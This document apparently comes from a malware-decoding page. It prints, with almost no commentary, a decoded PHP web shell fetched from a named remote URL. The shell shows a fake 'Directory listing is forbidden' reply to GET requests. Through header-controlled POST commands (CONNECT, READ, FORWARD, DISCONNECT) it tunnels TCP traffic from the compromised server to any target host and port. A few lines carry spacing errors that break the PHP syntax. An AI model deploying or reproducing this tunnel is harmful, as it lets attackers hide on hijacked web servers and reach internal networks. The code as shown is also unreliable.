Remote script - decode

Source : http://duniagame.elasitas.net/index2.txt

file decoded :
<?php
ini_set("allow_url_fopen", true);
ini_set("allow_url_include", true);
if (!function_exists("apache_request_headers")) {
    function apache_request_headers() {
        $arh = array();
        $rx_http = "/\\AHTTP_/";
        foreach($_SERVER as$key => $val) {
            if (preg_match($rx_http, $key)) {
                $arh_key = preg_replace($rx_http, "", $key);
                $rx_matches = array();
                $rx_matches = explode("_", $arh_key);
                if (count($rx_matches) > 0 and strlen($arh_key) > 2) {
                    foreach($rx_matches as$ak_key => $ak_val) {
                        $rx_matches[$ak_key] = ucfirst($ak_val);
                    }
                    $arh_key = implode("-", $rx_matches);
                }
                $arh[$arh_key] = $val;
            }
        }
        return ($arh);
    }
}
if ($_SERVER["REQUEST_METHOD"] === "GET") {
    exit("Directory listing is forbidden.");
}
if ($_SERVER["REQUEST_METHOD"] === "POST") {
    set_time_limit(0);
    $headers = apache_request_headers();
    $cmd = $headers["X-CMD"];
    switch ($cmd) {
        case "CONNECT":
            {
                $target = $headers["X-TARGET"];$port = (int) $headers["X-PORT"];$sock = socket_create(AF_INET, SOCK_STREAM, SOL_TCP);
                if ($sock === false) {
                    header("X-STATUS: FAIL");
                    header("X-ERROR: Failed creating socket");
                    return;
                }
                $res = @socket_connect($sock, $target, $port);
                if ($res === false) {
                    header("X-STATUS: FAIL");
                    header("X-ERROR: Failed connecting to target");
                    return;
                }
                socket_set_nonblock($sock);@session_start();$_SESSION["run"] = true;$_SESSION["writebuf"] = "";$_SESSION["readbuf"] = "";ob_end_clean();header("X-STATUS: OK");header("Connection: close");ignore_user_abort();ob_start();$size = ob_get_length();header("Content-Length: $size");ob_end_flush();flush();session_write_close();
                while ($_SESSION["run"]) {
                    $readBuff = "";
                    @session_start();
                    $writeBuff = $_SESSION["writebuf"];
                    $_SESSION["writebuf"] = "";
                    session_write_close();
                    if ($writeBuff != "") {
                        $i = socket_write($sock, $writeBuff, strlen($writeBuff));
                        if ($i === false) {
                            @session_start();
                            $_SESSION["run"] = false;
                            session_write_close();
                            header("X-STATUS: FAIL");
                            header("X-ERROR: Failed writing socket");
                        }
                    }
                    while ($o = socket_read($sock, 512)) {
                        if ($o === false) {
                            @session_start();
                            $_SESSION["run"] = false;
                            session_write_close();
                            header("X-STATUS: FAIL");
                            header("X-ERROR: Failed reading from socket");
                        }
                        $readBuff. = $o;
                    }
                    if ($readBuff != "") {
                        @session_start();
                        $_SESSION["readbuf"]. = $readBuff;
                        session_write_close();
                    }
                }
                socket_close($sock);
            }
            break;
        case "DISCONNECT":
            {
                error_log("DISCONNECT recieved");@session_start();$_SESSION["run"] = false;session_write_close();
                return;
            }
            break;
        case "READ":
            {
                @session_start();$readBuffer = $_SESSION["readbuf"];$_SESSION["readbuf"] = "";$running = $_SESSION["run"];session_write_close();
                if ($running) {
                    header("X-STATUS: OK");
                    header("Connection: Keep-Alive");
                    echo$readBuffer;
                    return;
                } else {
                    header("X-STATUS: FAIL");
                    header("X-ERROR: RemoteSocket read filed");
                    return;
                }
            }
            break;
        case "FORWARD":
            {
                @session_start();$running = $_SESSION["run"];session_write_close();
                if (!$running) {
                    header("X-STATUS: FAIL");
                    header("X-ERROR: No more running, close now");
                    return;
                }
                header("Content-Type: application/octet-stream");$rawPostData = file_get_contents("php://input");
                if ($rawPostData) {
                    @session_start();
                    $_SESSION["writebuf"]. = $rawPostData;
                    session_write_close();
                    header("X-STATUS: OK");
                    header("Connection: Keep-Alive");
                    return;
                } else {
                    header("X-STATUS: FAIL");
                    header("X-ERROR: POST request read filed");
                }
            }
            break;
    }
}
?>